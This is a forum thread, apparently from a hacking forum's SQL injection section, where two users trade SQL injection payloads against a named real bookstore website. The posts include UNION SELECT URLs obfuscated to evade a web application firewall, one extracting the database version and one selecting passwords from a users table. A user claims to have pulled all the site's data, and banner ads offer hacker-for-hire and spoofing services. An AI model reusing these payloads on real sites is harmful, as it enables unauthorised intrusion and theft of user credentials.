ProxiesFood: Unlimited Residential Proxy ◆ Spoof Call and Spoof SMS set any caller ◆ Cheap KYC Verifications & Openups ◆ Anvilpoint CyberOps - Hacker for Hire ◆
Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact
Hack Forums Hacks, Exploits, and Various Discussions Grayhat • Purple Team • Hybrid Security Website Hacking SQL Injection Attacks › Is there a way to extract the column data?

New Reply 

Is there a way to extract the column data?
Hackme1983
Hackme1983 Offline
[closed@HF:]
Posts:
33
Threads:
11
DO NOT DEAL WITH THIS MEMBER
βytes:
β 0
Game XP:
0
Apr 16, 2021 09:04 PM
Is there a way to extract the column data?


Code
https://almashreqebookstore.com/booksingle.php?id=.1824 +UnIoN%23aa%0ASeLeCt 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
Fad3d_Anne
Fad3d_Anne Offline
[n00b@HF:]
*
Registered
Posts:
15
Threads:
3
Credibility:
000
Popularity:
0
βytes:
β 0
Game XP:
85
Apr 17, 2021 08:40 AM
(Apr 16, 2021 09:04 PM)Hackme1983 Wrote:  Is there a way to extract the column data?


Code
https://almashreqebookstore.com/booksingle.php?id=.1824 +UnIoN%23aa%0ASeLeCt 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--

here you go:

https://almashreqebookstore.com/booksing...3foo%0D%0A
+1,2,3,%23foo%0D%0AConcat(version())%23foo%0D%0A,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--

you can play with WAF's.
Hackme1983
Hackme1983 Offline
[closed@HF:]
Posts:
33
Threads:
11
DO NOT DEAL WITH THIS MEMBER
βytes:
β 0
Game XP:
0
Apr 17, 2021 06:26 PM
(Apr 17, 2021 08:40 AM)Fad3d_Anne Wrote:  here you go:

https://almashreqebookstore.com/booksing...3foo%0D%0A
+1,2,3,%23foo%0D%0AConcat(version())%23foo%0D%0A,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--

you can play with WAF's.

I mean table name and column name - hard waf
Fad3d_Anne
Fad3d_Anne Offline
[n00b@HF:]
*
Registered
Posts:
15
Threads:
3
Credibility:
000
Popularity:
0
βytes:
β 0
Game XP:
85
Apr 17, 2021 08:47 PM
(Apr 17, 2021 06:26 PM)Hackme1983 Wrote:  I mean table name and column name - hard waf

Yes, WAF on this site is hard. But I successfully pull all of their data. you can play different kind of WAF to evade the security.
Hackme1983
Hackme1983 Offline
[closed@HF:]
Posts:
33
Threads:
11
DO NOT DEAL WITH THIS MEMBER
βytes:
β 0
Game XP:
0
Apr 18, 2021 07:13 AM (This post was last modified: Apr 18, 2021 07:19 AM by Hackme1983.)
(Apr 17, 2021 08:47 PM)Fad3d_Anne Wrote:  Yes, WAF on this site is hard. But I successfully pull all of their data. you can play different kind of WAF to evade the security.

I get all data too like here

Code
/booksingle.php?id=.1824 +UnIoN%23aa%0ASeLeCt 1,2,3,password+from+users-- -

I ask if u can inject with information_schema
Next Oldest | Next Newest
New Reply 


Possibly Related Threads...
Thread / Author Replies Views Last Post
by aviertismentApr 29, 2023 06:05 PM 0 183 Apr 29, 2023 06:05 PM
Last Post: aviertisment
by Hackme1983Apr 27, 2021 09:25 AM 0 223 Apr 27, 2021 09:25 AM
Last Post: Hackme1983
by KittyJan 7, 2019 02:59 AM 2 173 Jan 7, 2019 02:59 AM
Last Post: linhtinh